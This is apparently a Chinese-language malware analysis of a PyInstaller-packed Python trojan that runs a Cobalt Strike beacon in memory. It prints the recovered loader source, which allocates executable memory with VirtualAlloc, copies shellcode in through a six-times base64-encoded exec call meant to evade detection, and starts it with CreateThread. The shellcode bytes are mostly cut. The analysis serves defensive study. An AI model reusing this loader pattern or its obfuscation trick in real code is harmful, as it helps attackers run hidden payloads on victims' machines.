概述
近日分析一例使用python打包的cs木马,该样本使用pyinstaller打包,使用python3.7编写,会在内存中运行一段64位的shellcode,这段shellcode其实是cs的beacon,通过PEB+hash的方式获取系统api地址,在内存中拉取后续的payload。
详情
样本的逆向过程很简单,可参考[Python逆向] 逆向Pyinstaller打包的exe文件源码及保护_pyinstaller逆向-CSDN博客一文章。
下面来看一下还原出来的python源码,已经对这段代码进行了注释。
代码的功能是作为一个shellcode加载器,在内存中运行一段64位的shellcode,在python中调用了系统api:使用VirtualAlloc分配可执行内存,使用RtlMoveMemory拷贝内存,使用CreateThread启动shellcode,使用WaitForSingleObject等待shellcode执行结束。中间还将拷贝内存的代码进行了base64编码,用于逃脱检测,确实很高明。
import ctypes,base64
#此外为64位的shellcode
buf = b''
...
buf += b'\xf0\xb5\xa2V\xff\xd5'
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
#调用VirtualAlloc分配一段可执行内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(12288), ctypes.c_int(64))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
#aaa是一段使用base64编码6遍的python代码
#实际为ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
#用于将shellcode拷贝到新分配的内存中
aaa = b'Vm1wR1UxUXhWWGRPVm1oVllUSm9XRmx0TlVOVWJHeDBUVlpPYTAxWGVEQlVWbHBQWVdzeGNtTkZWbFZpUjJoTVYxWmFhMUp0VGtWU2JHaHBVakZHTmxkc1pIcGxSMDVHVGxaa1ZXSllVbFJVVkVwdlZVWmtXR05GT1ZwV01IQklWbGQ0YjFZeVNuTlRia0pWVmtWS01sUldXazVrTVhCR1QxVTFVMDFXY0dGV1ZtTjRUa2RHZEZac1ZsZGlhMXBaVld0Vk1WZEdhM2RhUlhSclZteGFWbFV5Y3pWVmF6RjBXak53V0dFeFduWlZNakZQVW0xV1JtRkdVbWhoTVhCdlYxWmFiMkl5VGxkalJWcG9VMFUxY2xSV2FFTlhiRnBIWVVaa1dHRjZSbFpaYTJoclYyMUtWVlpzVGxwaGEzQk1WVEJhWVdSV1duSmxSbEpUVmtaWmVWWnFTalJoTURWSVZGaG9hRTB5ZUZGV2FrNVRZVVphVlZOcVFtdE5WVEUwVld4U2MxVldWbFZOUkdzOQ=='
for i in range(6):
aaa = base64.b64decode(aaa)
#执行 ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode)))
exec(aaa.decode())
#创建一个线程,启动shellcode
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
#等待线程结束
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))